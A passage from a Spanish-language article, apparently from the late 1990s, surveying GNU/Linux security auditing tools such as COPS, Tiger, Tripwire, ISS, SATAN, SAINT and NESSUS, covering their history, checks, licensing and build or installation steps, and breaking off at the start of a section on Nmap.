seguridad, a pesar de ser un sistema multiusuario real, y sí que han
existido conocidos agujeros de seguridad, no en el sistema en su
conjunto sino en diversas aplicaciones. El gestor de correo, enorme y
complejo, _sendmail_ tiene el triste prestigio de ser un programa en
el que había problemas de seguridad frecuentes. Este gestor no era
específico de Linux, pero sí de sistemas UNIX en general.

Por esto, y a pesar de que la respuesta de los desarrolladores de las
diversas distribuciones de GNU/Linux, y de los creadores de
aplicaciones ha sido siempre rápida, es posible que en un sistema no
se tapen los agujeros de seguridad porque el administrador no ha
tenido tiempo de actualizar a la última versión, no conoce de la
existencia de aquél, o no ha sabido configurar adecuadamente las
aplicaciones o servicios ofrecidos.

Las distribuciones basadas en GNU/Linux ofrecen a sus usuarios una
gran cantidad de información en sus servidores de WWW referentes a
actualizaciones de paquetes que proporcionaban programas a los cuales
les ha sido detectado un posible peligro de seguridad. RedHat hace
esto frecuentemente, incluso se vió obligada a sacar la versión 5.1 de
forma acelerada para tapar el gran número de agujeros existentes en su
versión estrella, la 5.0. Debian también pone avisos de seguridad,
cuando son recibidos, relacionados con los programas que se ofrecen
dentro de la distribución, aunque con su modelo de desarrollo más
abierto, veáse por ejemplo el BTS (Bug Tracking System), consigue
ofrecer antes nuevas versiones de los programas con los problemas de
seguridad resueltos. Así mismo, Debian, con posterioridad a la salida
de la versión final de su distribución, crea una nueva sección llamada
_stable-updates_ que contiene actualizaciones a paquetes de la versión
estable en su mayor parte relacionadas con problemas de seguridad.

Sin embargo los problemas que dan lugar a que una determinada máquina
esté "comprometida" no se limita exclusivamente a que se haya
instalado la última versión de un determinado programa, también es
necesario cuidar la configuración de ciertos programas, vigilar la
información ofrecida a los extraños y el contenido de los diversos
ficheros de un sistema.

El sistema GNU/Linux se surte, desde sus principios, de los programas
surgidos dentro de la comunidad UNIX en muchos ámbitos, ya que éste es
un sistema UNIX para PCs, como ya saben los lectores de la revista.
Desde gestores de correo, a servidores de ftp o servidores de WWW,
algunos de los existentes en GNU/Linux son, o provienen de, programas
diseñados en principio para otros sistemas UNIX, aunque con el auge
actual de GNU/Linux estos programas se diseñan específicamente para
Linux. Es por lo primero que los problemas de seguridad de estos
programas se pueden trasladar a una distribución de GNU/Linux, pero
también es por esto que existen gran cantidad de auditores de
seguridad para Linux.

Se tratarán primero herramientas que no son específicas de GNU/Linux,
sino del mundo UNIX en general, y tratando de comentar las
particularidades de aquellos en cuanto a GNU/Linux se refiere.
Posteriormente se comentarán también herramientas exclusivas, surgidas
más recientemente, para GNU/Linux, y se incidirá en las facilidades (o
problemas) de portabilidad de estas herramientas a GNU/Linux.


-------------------------------------------------------------------------------


2. Auditores de seguridad
-------------------------


2.1. ¿Qué son los programas auditores de seguridad?
---------------------------------------------------

Los programas auditores de seguridad son herramientas tremendamente
útiles para la administración de un sistema, ya que permiten detectar,
de forma rutinaria, problemas de seguridad para los que pudieran
existir ataques conocidos.

Un programa auditor de seguridad debería ser capaz de detectarlos sin
vulnerar la integridad del sistema, es decir, no debería, por ejemplo,
detectar que un sistema es vulnerable a un ataque del tipo DoS (Denial
of Service), dejando al sistema "colgado". Este tipo de programas no
sustituyen al sentido común ni a la experiencia de un buen
administrador, sino que suponen una ayuda para realizar algunas tareas
rutinarias que pueden llevar mucho tiempo a un administrador normal.

Estos programas pueden operar a muchos niveles, desde la comprobación
de la pertenencia de archivos a usuarios y grupos del sistema hasta
pruebas sobre aplicaciones instaladas para verificar si éstas tienen
agujeros conocidos. Una forma sencilla de demonstrarlo sería, por
ejemplo, mirar la versión de ésta última, y ver si se trata de una
versión que tuviera un problema especialmente grave.


2.2. Los precursores: COPS, Tiger, Tripwire e ISS
-------------------------------------------------

Llamamos a estos programas precursores porque fueron los primeros que
empezaron a desarrollarse en la línea de automatizar las tareas del
administrador para vigilar la seguridad de la máquina. Todos estos
sugieron en el mundo UNIX al principio de la decada de los 90, aunque
algunos se mantienen aún hoy vigentes o han sido "remozados" para
adaptarlos a los nuevos tiempos.

COPS (Computer Oracle and Password System) es un paquete de
herramientas de seguridad disponible de forma pública. Están
diseñadas para ayudar a la tarea de un administrador identificando
problemas de seguridad en un sistema UNIX, aunque no pretende arreglar
las discrepancias que encuentra sino que simplemente produce un
informe de lo que ha encontrado y lo almacena o lo envía por correo.
COPS fue realizado por Dan Farmer, uno de los creadores de SATAN y
distribuido el 31 de enero de 1989.

El paquete se divide en dos partes: un conjunto de programas que
automatizan comprobaciones rutinarias y la documentación para
manejarlo e interpretar su salida. COPS requiere ser ejecutado en
cada máquina a chequear y es multiplataforma. El programa
inicialmente fue escrito en base a shell scripts (en el intento de
asegurar la portabilidad de éste) y en programas en C (para aquellas
acciones que necesitan ejecutarse rápidamente), la última versión de
este paquete (1.0.4, 6 de marzo de 1992) está realizada, además, en
Perl.

COPS realiza un buen número de comprobaciones, con la intención de
buscar vulnerabilidades:

* chequeo de permisos de ficheros, directorios y dispositivos.

* cracker de passwords a dos niveles, que de hecho ha sido
realizado usando el notorio _Crack_ (ver más abajo).

* comprobación del contenido, formato y seguridad de los ficheros
de passwords y ge grupo.

* chequeo de programas que se ejecutan en /etc/rc* y en el cron.

* búsqueda de programas setuid root, con permiso de escritura y
avisa si son shell scripts.

* comprobación a través CRC de binarios y ficheros importantes para
evitar modificaciones.

* comprobación de permisos de escritura en los directorios de los
usuarios y de sus ficheros de configuración.

* comprobacion automática de avisos del CERT, descargándolos
previamente y comprobando si existe algún aviso nuevo para el
tipo de máquina sobre el que se ejecuta.

* un sistema experto llamado Kuang que en base a una serie de
reglas indica si el sistema ha sido o no comprometido.

* chequeos varios: directorios en el patg, hosts.equiv,
exportaciones por NFS...

Dado que no realiza ninguna modificación, no necesita ser ejecutado
con privilegios de superusuario (como "root") sino que lo puede
ejecutar cualquier usuario. Eso sí, para descubir parte de la
información, como por ejemplo analizar todos los ficheros con el bit
setuid, puede que sea necesario ejecutarlo como superusuario ya que
puede que algunos ficheros (o directorios) no tengan permisos de
lectura para todo el mundo.

Junto con COPS se distribuye CARP (COPS Analysis and Reporting
Program), programa que realiza informes gráficos en base a los
resultados de COPS.

Tiger es similar a COPS, pues se dedica a conseguir información que
pueda descubrir problemas de seguridad en máquinas UNIX pero está más
actualizado que COPS y más configurable. La última versión disponible
es de marzo de 1994.

Tiger, que toma el nombre de un equipo de futbol americano, es un
conjunto de Bourne shell scripts, programas en C y ficheros de datos
que se usan para realizar una auditoría de seguridad de sistemas UNIX.
Es multiplataforma, entre ellas SunOS 4.x y 5.x.

Se desarrolló para escanear sistemas que se querían fueran accesibles
desde el exterior de un campus, y se ejecuta localmente.

El objetivo primordial de Tiger es analizar el sistema para tratar de
encontrar maneras de obtener privilegios de superusuario. Su diseño
parte de la hipótesis de que cualquier otro uid o gid puede ser
obtenido por personas no autorizadas, es decir, que cualquie persona
puede hacerse pasar por un usuario cualquiera de la máquina, excepto,
por supuesto, por el superusuario.

Algunos de los chequeos que reliza Tiger son:

* aliases de mail.

* exportación por NFS.

* variables de inetd.

* variables del PATH.

* ficheros .rhosts y .netrc.

* permisos de ficheros y directorios.

* avisa de la existencia de parches de mantenimiento.

* paths que se encuentren en ficheros que den algún warning.

* ofrece ayuda sobre todos los temas.

* lanza automáticamente el CRACK.

Tiger está disponible para Linux 2.x, gracias al trabajo realizado por
Robert L. Ziegler, aunque la versión distribuida originalmente tenía
soporte para Linux 0.99. Tiger tiene soporte para muchas
arquitecturas, en función de la arquitectura sobre la que se ejecuta
se define las comprobaciones que va a realizar.

Por otro lado tenemos a Tripwire, un programa que comprueba la
integridad de ficheros y directorios. Genera, en su primera pasada
información sobre éstos en una base de datos, y posteriormente los
comprueba y avisa de cualquier diferencia (incluso borrados y
añadidos). Ejecutado de manera regular permite encontrar cambios en
ficheros críticos que podrían haber tenido lugar por la entrada de un
"intruso".

Lo que Tripwire hace es marcar en la base de datos tanto los permisos
y usuarios de los ficheros como un código de redundancia cíclica (CRC)
con el que luego comprueba si ha sido modificado un determinado
fichero. El paquete `tripwire' está disponible para Debian GNU/Linux.

Finalmente dentro de este tipo de programas y en la misma época, se
encuentra el ISS (Internet Security Scanner), de Christoper Klaus. En
un principio el programa fue realizado por un interés, por parte del
autor, de conocer los problemas de seguridad en Internet en 1993.
Posteriormente, el autor creó una compañía alrededor de este producto,
y distinguió la versión comercial de la versión de prueba, que carece
de interfaz gráfico y de parte de la funcionalidad que tiene la
primera.

En cualquier caso ISS se trata de una de las primeras herramientas
que, a pesar de carecer del interfaz gráfico que luego proveerá SATAN
y otras herramientas posteriores, pone en marcha el desarrollo de
herramientas auditoras de seguridad de redes automatizadas. COPS,
TIGER y Tripwire constituyen el primer paso ya que se tratan de
herramientas que sólo ven el sistema sobre el que se ejecutan y
comprueban las vulnerabilidades en éste. ISS es capaz de comprobar
vulnerabilidades comunes en una o varias subrededes (en la línea de
comandos se le dará un rango de una red que indica las máquinas que
debe comprobar)

ISS es un programa monolítico escrito en C, que realiza comprobaciones
sobre los puertos abiertos en el servidor y de los servicios RPC
ofrecidos, estudio de las particiones exportadas por NFS, observación
del servidor de correo, comprobaciones sobre el NIS (antes llamado YP
- Yellow Pages) y accesos mediante telnet haciendo uso de pares de
usuario/password comunes (que en algunos casos venían de fábrica y no
se modificaban).

ISS se convierte así en uno de los primeros programas que implementan
estas baterías de pruebas, de forma que para un administrador resulta
más sencillo comprobar todas las máquinas a su cargo de un sólo
vistazo. Más tarde, aunque muy cercano en el tiempo, llegaría SATAN,
causando una auténtica revolución.


2.3. SATAN
----------

SATAN es el acrónimo de Security Administrator Tool for Analyzing
Networks (ver listado Section A.1, `Curiosidades de SATAN'). Se
trata, más que de un programa, de un conjunto de programas unidos en
un interfaz común. Cuando éste fue escrito por Dan Farmen
(programador de COPS) y Wietse Venema de la Universidad de Tecnología
de Eindhoven, lo que se hizo fue poner una interfaz gráfica que ya se
preveía poderosa, y al mismo tiempo "amigable", como es el WWW a un
conjunto de programas, algunos ya existentes y otros creados de cero
por sus autores, que probaban vulnerabilidades conocidas.

SATAN no es una herramienta novedosa en el aspecto técnico, pero causó
una auténtica revolución. Las herramientas de este tipo, pueden
convertirse, como todas las herramientas, en utensilios útiles o en
armas mortíferas. Los autores tuvieron la "osadía", entonces, de
poner el resultado de su trabajo en Internet y permitiendo la
distribución libre de binarios y fuentes. Había otros programas
disponibles libremente como COPS, para probar vulnerabilidades en un
sólo sistema, o el ISS, para probarlas en sistemas remotos, pero este
último, por ejemplo, carecía de suficiente funcionalidad y de un
interfaz gráfico en la versión pública, aunque sí en la versión
comercial. Los autores decidieron distribuirlo de forma libre ya que
su experiencia les indicaba que los esfuerzos de limitar la
distribución de información de seguridad y herramientas para este fin
no había mejorado las cosas, dado que los elementos "no deseables" los
conseguían de todas formas y las personas que deberían haber tenido
acceso a ellas no lo habían tenido debido a limitaciones arbitrarias o
injustas.

Esto tuvo como consecuencia una grave polémica, por la cual incluso
uno de los creadores fue despedido de su trabajo. SATAN fue concebida
como una herramienta para admininistradores, pero también podía ser
usada como un arma por crackers. Incluso se diseñaron programas para
detectar "ataques" de SATAN, como por ejemplo Courtney (desarollado
por CIAC) o Gabriel.

El problema entonces, y también ahora, es que la mayor parte de los
administradores de sistemas no eran capaces de estar al tanto del
conjunto de agujeros de seguridad que salían en programas de uso
frecuente en muchos sistemas UNIX. Un cracker, bien informado, podía
hacer uso de estas vulnerabilidades reconocidas (pero aún no
resueltas), para atacar a sistemas que aún no se habían actualizado a
una versión del programa que resolviera los fallos.

En un sistema concurren muchos servicios que se "ven" en el exterior,
como por ejemplo: servidores de WWW, de correo o de FTP, gestores de
bases de datos, exportación de discos via NFS, etc... Estar al tanto
de actualizaciones de todos estos y de la forma en que pueden ser
usados para obtener información de un servidor que puede servir e
intentar acceder a éste puede ocupar gran parte del tiempo de un
administrador de sistemas.

Estar al tanto de listas de distribución como bugtrack, los avisos del
CERT (ver listado Section A.4.1, `Dónde buscar información relativa a
la seguridad') no es fácil y, además, si no se hace de forma contínua
se puede dejar un "agujero" que un intruso puede intentar aprovechar.

SATAN abrió la polémica al poner en manos de todo el mundo un
programa, de fácil uso, que descubriera todas estas vulnerabilidades a
un tiempo, a la vez que ponía al descubierto información sobre las
relaciones entre máquinas, lo que los autores denominaron "relación de
Confianza".

SATAN obtiene tanta información como le es posible de servicios de red
como finger, NFS, NIS, ftp y tftp, rexd, y otros. La información
extraída no sólo indica las fuentes por las que un intruso podría
ganar información del sistema, sino también fallos potenciales de
seguridad generalmente debidos a una mala configuración de estos
servicios, problemas conocidos en herramientas de red o malas
políticas de seguridad.

Pero el concepto novedoso de SATAN es el extraer, de la información
inicial y con un conjunto de reglas configurables por el usuario, las
relaciones de dependencia entre máquinas o servicios dados de una a
otra. Esto hace posible el análisis de todos los servidores de una
red para analizar las implicaciones de la política de confianza y
servicios ofrecidos que, en palabras de los autores "les permitarán
hacer decisiones razonables sobre el nivel de seguridad de los
sistemas involucrados". Los autores de SATAN hablan de confianza
cuando recursos locales de un servidor (discos duros, acceso de
usuarios, servidores de X...) son usados por un cliente con o sin la
autorización debida. Si el sistema X confía en el Y, un intruso que
pueda poner en peligro Y podrá también poner en peligro X. Los
autores indican que cualquier tipo de confianza puede ser subvertida,
no sólo porque se pueda acceder a Y, sino porque el sistema que valida
el acceso de Y pueda estar fuera del control del administrador. Por
ejemplo, si se identifica a Y por el nombre de la máquina y se
subvierte el servidor de nombres (el DNS), o si se hace uso de la
técnica de IP spoofing para hacerle creer a X que otra máquina es Y.

A este respecto los autores de SATAN escribieron un excelente ensayo
sobre seguridad en sistemas UNIX y en Internet en general que se
titula "Improving the Security of Your Site by Breaking Into It"
("Mejorar la seguridad de su servidor entrando a la fuerza en él"),
lectura recomendable para todos aquellos interesados en seguridad (ver
listado Section A.4.1, `Dónde buscar información relativa a la
seguridad')

Hay que decir que SATAN es una herramienta que podría considerarse ya
obsoleta, las vulnerabilidades que intenta descubrir, eran comunes (y
conocidas) cuando fue diseñada, pero se tratan de "agujeros" que, hoy
por hoy, deberían estar "tapados", si se detecta algunos de estos es
debido a una incompetencia por parte del administrador de la máquina.
Sin embargo, donde aún sí resulta útil SATAN es en la función de
recopilación de información y en la aplicabilidad del concepto de
confianza.

2.3.1. Ejecución de SATAN
-------------------------

SATAN debe ser ejecutado como usuario _root_ (superusuario) ya que
algunos de los tests que realiza necesita los requisitos de este
usuario para funcionar (ver listado Section A.2, `El problema de
ejecución de binarios como root'). Hace uso, por ejemplo, de sockets
abriéndolos como SOCK_RAW, para hacer accesos a bajo nivel de éstos.
Es posible ejecutar SATAN como cualquier otro usuario, pero algunos de
los tests, no funcionarán en absoluto.

Han existido algunos problemas a este respecto en la distribución de
SATAN, ya que si el programa se ejecuta como superusuario, y el código
fuente está disponible, es posible que algún desaprensivo distribuya
una versión de SATAN "modificada" de forma que, al ejecutarla, se
introduciría un troyano en el sistema, es decir, la copia modificada
realiza más de lo que debería, enviando información, por ejemplo, de
nuestro sistema al exterior. Por ello es una buena medida obtener
SATAN directamente de la fuente original y comprobar que no ha sido
modificado (mediante la suma MD5 del fichero recibido)

Para ejecutar SATAN hace falta Perl 5 (en este lenguaje están
programados los scripts que generan las páginas automáticamente y
algunos de los tests) y un navegador de WWW, bien sea textual (Lynx) o
gráfico (Netscape Navigator o similares). Los programas que realizan
las tareas de prueba sobre los diversos sistemas se escribieron en C,
perl o lenguaje de la shell, utilizando código disponible en los
grupos de noticias (comp.sources.misc.*), y de hecho es posible añadir
nuevos programas a todo el conjunto de la herramienta. Otras
herramientas posteriores, como Section 2.3.3, `SAINT', que se
comentarán más adelante, o Section 2.4, `NESSUS', hacen más fácil el
introducir nuevos programas mediante la descripción de reglas.

Cuando se arranca el programa, éste obtiene la configuración de los
ficheros localizados en el directorio _config/_. Estos ficheros
indican dónde se encuentran herramientas habituales en entornos UNIX
(como _finger_ o _ping_) así como el navegador de WWW que se utilizará
(almacenado en la variable _$MOSAIC_). Estas herramientas serán
utilizados por los diversos programas de los que está compuesto SATAN,
y se pueden configurar a mano o bien utilizando el _script_
proporcionado por los autores (reconfig), que busca la localización de
estas utilidades en el servidor en el que se instale SATAN.

Seguidamente, lanzará un servidor de WWW y el navegador de WWW que se
haya configurado para acceder directamente a la página principal de
SATAN. Desde ésta se seleccionará 'Run SATAN', posteriormente el
servidor al que va a acceder, se podrá limitar si se va a probar sobre
el servidor o sobre su subred, el nivel del escáner y finalmente
'Start the scan'. El acceso al servidor de WWW creado por SATAN (y
que se encuentra en un puerto dedicado, en el espacio de usuario, esto
es, por encima del 1024), se realiza mediante una llave de un sólo uso
que SATAN genera para cada ejecución. Dado que esta llave se guarda
en los ficheros HTML generados por SATAN, es importante que estos
ficheros tengan permisos de lectura sólo para el superusuario y no
para otros. Si no fuera así, cualquier usuario podría acceder al
servidor de WWW con la clave proporcionada en ellos y acceder a toda
la información disponible sobre los escáners realizados por el
superusuario mientras SATAN está siendo ejecutado.

En la selección de Objetivos el usuario puede seleccionar el nivel de
ataque: Ligero, Normal o Duro. Un ataque "Ligero" sólo indicará los
servidores que existen y qué servicios de RPC (llamada remota a
procedimiento) ofrecen. Un ataque "Normal" escaneará los objetivos
probando conexiones telnet, FTP, WWW, gopher y SMTP. Se utilizará
para establecer qué sistema operativo es (aunque para esto es mejor
QueSO, ver listado Section A.2.1, `QueSO, un programa que indica el
SO'). Un ataque "Duro" buscará otras vulnerabilidades, como
servidores de FTP que permiten escribir a todos los usuarios o
servidores de confianza.

SATAN puede ejecutarse con diversas opciones que indiquen qué
servidor/es probar y el nivel de ataque a utilizar, así como
limitaciones en el número de servidores a probar. Además muestra de
forma gráfica los resultados ordenando las vulnerabilidades por tipos,
organizadas de muy diversas maneras (por nivel de riesgo, por sistema
operativo...), aunque los autores indican que un trabajo a realizar
sería mostrar de forma más gráfica (quizás a través de un grafo) las
interrelaciones entre los servidores. Existen además tutoriales que
dan información más en detalle de los problemas concretos de algunas
de las vulnerabilidades, que son útiles para que el administrador
busque más información antes de tomar una decisión sobre cómo arreglar
el problema.

Toda la información recopilada sobre las distintas máquinas se
almacena en una base de datos (se puede tener más de una base de datos
sobre máquinas), que se mantiene entre ejecuciones del programa, y es
útil para inferir relaciones entre máquinas que las pueda hacer
vulnerables.

Además SATAN es configurable con reglas (en el directorio _facts/_)
que le permiten inferir nueva información y detonar nuevos tests en
función de los servicios que se ofrezcan. Estas reglas están escritas
en Perl y, a través de ellas se puede extender el programa con nuevos
tests. De hecho la decisión de qué test realizar en función de la
información recibida se encuentra en estas reglas.

2.3.2. Compilar SATAN para Linux
--------------------------------

SATAN no fue desarrollado originalmente para GNU/Linux, sino que su
documentación indica que funciona en una gran variedad de sistemas
UNIX: SunOS 4.x y 5.x, AIX, IRIX5, HP-UX 9.x, SYSV-R4 y Ultrix 4.x.
Sus autores destacan que hace falta modificarlo para hacerlo funcionar
bajo GNU/Linux.

De hecho es así, siendo necesario modificar los ficheros que se
incluyen al compilar el código fuente para hacerlo funcionar con la
versión de la librería de C de GNU/Linux. Aunque los cambios difieren
para libc5 y para libc6, básicamente debido a la redefinición de la
implementación de los formatos de paquete de IP e ICMP en la librería
estándar. Esto se puede arreglar modificando el fichero `lcompat.h'
(que funciona para libc5) y comentando toda la definición del paquete
ip e icmp, para dejar que sea la librería de C (viene definido en el
fichero `/usr/include/netinet/ip.h') la que los defina. Asimismo se
puede eliminar las referencias en el código fuente a la librería
proporcionada en el paquete, si se dispone de las cabeceras de la
librería de C (en Debian las proporciona el paquete `libc6-dev') para
compilar el programa.

Finalmente, para adaptarse a los "nuevos tiempos" y usar los módulos
de Perl instalados en el sistema en lugar de los proporcionados por el
programa (como es el caso del módulo que proporciona en Perl la
función _getopts_ o _ctime_), es necesario cambiar ligeramente el
programa principal (`satan') y algunos de los tests, que están
escritos en Perl.

También los autores asumen el comportamiento de la llamada al sistema
_select_ (que sirve para quedarse a la espera de recibir datos en
diversos descriptores) y se ha de modificar el fichero `tcp_scan.c'
que es el responsable de escanear todos los puertos TCP disponibles en
un servidor.

Todos estos cambios se han realizado en la versión de SATAN
distribuida junto con Debian. Aunque para beneficio de los usuarios
de GNU/Linux se puede usar el fichero de diferencias
(satan-1.1.1.diff.linux). Utilizando este fichero, realizado con el
programa `diff') se podrían modificar las fuentes originales (haciendo
uso del programa `patch', ver página de manual patch(1)).

En general, un usuario que instale SATAN dentro de una distribución de
GNU/Linux no tendrá que resolver estos problemas, dado que los
responsables de la distribución, presumiblemente, los habrán resuelto
para que se integre dentro de ésta. Sin embargo no está de más
conocerlo, caso de que se desee obtener SATAN de la fuente original y
recompilarlo antes de usarlo, algo bastante aconsejable dado el hecho
de que va a ser el usuario con los máximos privilegios el que va a
hacer uso de éste.

Para compilar SATAN para Linux, una vez realizados los cambios arriba
indicados, es necesario, desde el directorio raíz, ejecutar _make
linux_ seguido de _perl reconfig_. Posteriormente se puede configurar
los valores que ha obtenido automáticamente editando directamente,
como ya se ha dicho antes, los ficheros en el subdirectorio `config/'.

2.3.3. SAINT
------------

SAINT (Security Administrator's Integrated Network Tool) es un
producto de World Wide Digital Solutions Inc. (WWDSI) derivado de
SATAN, realizado en 1998. En versiones previas no se distribuía bajo
la misma licencia que SATAN, aunque versiones posteriores se han
distribuido bajo una licencia _Open Source_ (aunque no es la GPL).
Esta nueva licencia permite su distribución por parte de aquellos que
lo obtienen así como modificaciones, sin embargo no se puede cobrar su
uso más allá de los costes de distribución. Las diferencias con SATAN
en cuanto a interfaz son mínimas, ambos hacen uso de un navegador de
WWW, y los pasos a dar para poner en marcha el programa son los
mismos.

SAINT añade a SATAN lo que éste ahora mismo no tiene y es actualidad.
El programa no sólo prueba las vulnerabilidades que contemplaba SATAN,
sino que añade comprobaciones de las vulnerabilidades conocidas hasta
la fecha de su creación. Los tests incluyen comprobaciones sobre
servidores de WWW, POP o SMB, y nuevas reglas para dirigir el
funcionamiento de éste. Además, la compañía que lo diseñó lo
actualiza con cierta regularidad.

A todo esto hay que añadir muchos nuevos tutoriales, hasta un total de
43, sobre las distintas vulnerabilidades que se puedan encontrar, que
ayudan al administrador dándole más información sobre el peligro de
ésta y sobre cómo eliminarlo. Las vulnerabilidades están clasificadas
en tres categorías: Peligrosas (rojo), Proceder con Cautela (amarillo)
o de Categoría Desconocida (marrones), no en dos como en SATAN.

SAINT demuestra que es posible realizar un producto comercial sobre un
producto que se distribuye de forma gratuita, y con excelentes
resultados. Además se trata de un programa que está siendo aún
mantenido por la compañía que lo creo, que acepta envíos de nuevos
módulos para su inclusión en el programa.


2.4. NESSUS
-----------

Se han visto previamente herramientas, quizás ya algo antiguas, para
intentar introducir el concepto de auditores de seguridad. Ahora toca
el turno de hablar de una herramienta de última generación para
GNU/Linux, y este es el caso de NESSUS (ver http://www.nessus.org).

NESSUS da un paso más alla en el diseño de herramientas de seguridad.
Con SATAN (y SAINT) se vió que se podía introducir una gran capacidad
para detectar fallos comunes haciendo uso de un sencillo interfaz.
Pero el uso de un interfaz WWW, aunque bueno por su facilidad de
manejo (y porque quizás sea el interfaz genérico más usado
actualmente) plantea un problema respecto a la autentificación de los
administradores que hagan uso de SATAN en una máquina.

Por un lado obliga a que SATAN sea ejecutado localmente por parte del
administrador y a que luego éste lanze el navegador en la misma
máquina, de hecho es el primer paso que realiza SATAN. El problema
puede darse cuando se quiera instalar SATAN en una máquina que carece
de interfaz gráfico, es necesario exportar la aplicación (el cliente
de WWW) a través de la red a otra que sí lo tenga. Esto no es
problema si el administrador usa _lynx_ ya que puede seguir utilizando
un interfaz textual para la aplicación y ejecutar el navegador en la
conexión remota.

Si se desea también acceder desde un servidor a otro para ejecutar
SATAN en aquél, es necesario que el navegador de WWW envíe en todas
las peticiones al servidor de WWW que SATAN lanza, el número mágico
que ha generado al arrancar y se encuentra almacenado en los ficheros
HTML. Por ello la primera petición del navegador es a un fichero (su
URL es file://) y posteriormente al servidor (con el URL http://).
Este número es la única prueba para SATAN de que el cliente es quien
dice ser, si cualquier otro intercepta este número y accede al
servidor de SATAN podrá acceder a toda la información almacenada en
este, e incluso ¡hacer sus propias pruebas de seguridad sobre otros
servidores! Esto se podría evitar haciendo uso del protocolo seguro
de conexión a servidores de WWW, _https_ (que usa el SSL de Netscape).

Esta situación no es del todo insospechada, ya que si el cliente y el
servidor están separados, los paquetes enviados de uno a otro, las
solicitudes mediante el protocolo HTTP y las respuestas mediante
páginas en HTML, no están cifradas ni van por un canal cifrado.
Cualquier "espía" en el camino de estos datos podría sacar fácilmente
el número utilizado como prueba de autentificación del administrador.

NESSUS es una herramienta que consta de dos módulos separados. De un
lado el servidor, que debe ser ejecutado como superusuario, que es el
encargado de realizar los tests y que funciona como un demonio en la
máquina en la que se lanza, y en el otro el cliente, que puede estar
en otra máquina distinta. La comunicación entre ambos se hace a
través de un protocolo (que los autores han llamado NTP: Nessus
Transfer Protocol) que, en su última versión (1 de febrero de 1999:
990201) puede llevarse a cabo de forma cifrada (con clave
pública/privada), de forma que el servidor no podría ser usado por
alguien que "espiara" la red y fuera capaz de obtener la palabra clave
utilizada. Esta funcionalidad no estaba presente en la anterior
versión estable del programa (16 de octubre de 1998: 981016).

Si no se compila NESSUS con la opción de encriptación (`./configure
--enable-cipher'), sin embargo, la autenticación entre el cliente y el
servidor se realiza mediante un nombre de usuario y una palabra clave
cuyo intercambio debe darse antes de solicitarle ninguna acción al
servidor. Las palabras clave están almacenadas en un fichero en el
servidor, y es posible limitar sobre qué máquinas puede realizar
pruebas de seguridad a un usuario dado.

Existen clientes para GNU/Linux, usando la librería gráfica `gtk' (la
última versión de NESSUS utiliza la versión 1.1), con la que se ha
diseñado el famoso programa `Gimp' y el entorno `GNOME' (ver
http://www.gnome.org, pero también los hay escritos en Java y para
Windows NT. El servidor, sin embargo, ha de ejecutarse en un servidor
Linux. La interfaz gráfica con gtk (es expléndida, con un buen
aspecto y muy sencilla de manejar. Además de todo esto, y algo a
destacar por su tremenda importancia, NESSUS está siendo desarrollado
bajo la licencia GPL, lo que significa que su modelo de desarrollo es
abierto (cualquiera puede colaborar) y que el código fuente del
programa está disponible para su revisión.

El diseño de NESSUS, como se puede ver en el código fuente, es muy
modular. Todos los tests (algunos los llamarían "ataques") están
escritos por separado, y es fácil insertar nuevos programas.
Actualmente tiene más de 180 pruebas de seguridad de diversa índole,
que el interfaz agrupa por tipos según sean, por ejemplo: agujeros de
sendmail, problemas con servidores de FTP, problemas con servidores de
WWW... Aunque las vulnerabilidades no están tan detalladas como en
otras herramientas (veáse las anteriores), si se da una breve
descripción del problema y una ayuda de cómo solucionarlas.

Al igual que SATAN o SAINT, NESSUS puede expandir los servidores que
conoce de varias maneras: vía subredes de un dominio, haciendo uso del
DNS o cuando ve nuevos servidores a los que se les da acceso mediante
NFS. Se pueden definir reglas para limitar a los servidores que va a
acceder, de una forma más compleja que hacía SATAN (y por ende SAINT),
en éste es posible definir la "profundidad" de la prueba y servidores
que nunca serán probados, pero en NESSUS es posible limitar de tres
formas: no probar ('n'), sí probar ('y') y no probar _nunca_ ('N').
Por ejemplo la regla: "n:*; y:*.foo.org; N:ppp*.foo.org" probaría sólo
sobre las máquinas en el dominio foo.org (y:*.foo.org), excepto todas
las máquinas en este dominio cuyo nombre empezara por ppp
(N:ppp*.foo.org), otras máquinas que se puedan encontrar no serán
probadas (n:*).

Los usuarios puede definir sus propias reglas, aunque existen unas
reglas predefinidas por defecto. Las reglas se almacenan en el
fichero `/usr/local/share' (aunque si se instala un paquete de una
distribución en lugar de las fuentes originales, seguramente lo
instale en `/usr/share').

2.4.1. Instalar NESSUS
----------------------

Si la distribución que usa el lector provee el paquete NESSUS, la
instalación de éste se limitará a instalar dicho paquete y
configurarlo apropiadamente. Este es el caso de Debian. Sin embargo,
si éste no es su caso, será necesario obtener las fuentes originales
(ver listado Section A.3, `Programas relacionados con la seguridad y
dónde encontrarlos.').

Una vez obtenidas, se deben seguir los siguientes pasos para instalar
el programa:

* ejecutar `autoconf' seguido de `configure', que hará uso de
herramientas GNU para configurar el programa a nuestro sistema.
En la documentación indica que debe ser el superusuario el que
ejecute este programa, ya que para probar el tipo de ordenación
de los sockets, es necesario privilegios especiales.

* ejecutar `make' para que compile los programas. Este es un
proceso largo ya que ha de compilar cada uno de los tests de
seguridad que luego se convertirán en librerías que cargará
dinámicamente. Para compilar el programa es necesario tener la
versión de desarrollo de `gtk', que incluye las cabeceras
(ficheros .h) para compilar programas que utilizen esta librería.
En Debian

* ejecutar _make install_. Los programas (`nessus' y `nessusd')
así como las librerías y las páginas de manual serán instaladas
en el sistema.

Una vez hecho esto la configuración, según indica la página de manual
nessus(1) , será creada al arrancar el programa `nessusd' en el
directorio `/usr/local/share/nessus'. La forma de configurarlo está
perfectamente documentada en el Manual que acompaña el programa.


2.5. Gate Security
------------------

NESSUS no es el único programa de este estilo diseñado para GNU/Linux,
también existe `Gate Security', de Stan Lanford, con un interfaz del
tipo curses (en consola). El autor indica que es muy modular y que
sería fácil de ampliar con nuevos tests, ya que actualmente cuenta con
tan sólo tres sobre los servicios de: finger, NFS y WWW. Está aún en
fase de desarrollo (la última versión de mayo de 1998 es la 0.1.4),
así que quizás en su versión final sea un programa a valorar.


2.6. smb-nat
------------

Con este programa se pueden realizar varias comprobaciones de
seguridad sobre servidores remotos que estén compartiendo servicios de
ficheros a través de NetBIOS. Está basado en el paquete `samba' y se
encuentra disponible en la distribución Debian GNU/Linux.


-------------------------------------------------------------------------------


3. Escáneres remotos
--------------------


3.1. Nmap
---------

Nmap es una herramienta para explorar redes y determinar qué
servidores están activos y qué servicios ofrecen. La ventaja con
respecto a otras herramientas es que ofrece múltiples técnicas de
escáner. Las versiones más recientes también ofrecen la posibilidad
de detectar el sistema operativo remoto en función a la implementación
del protocolo TCP/IP. El programa dispone incluso, a partir de la
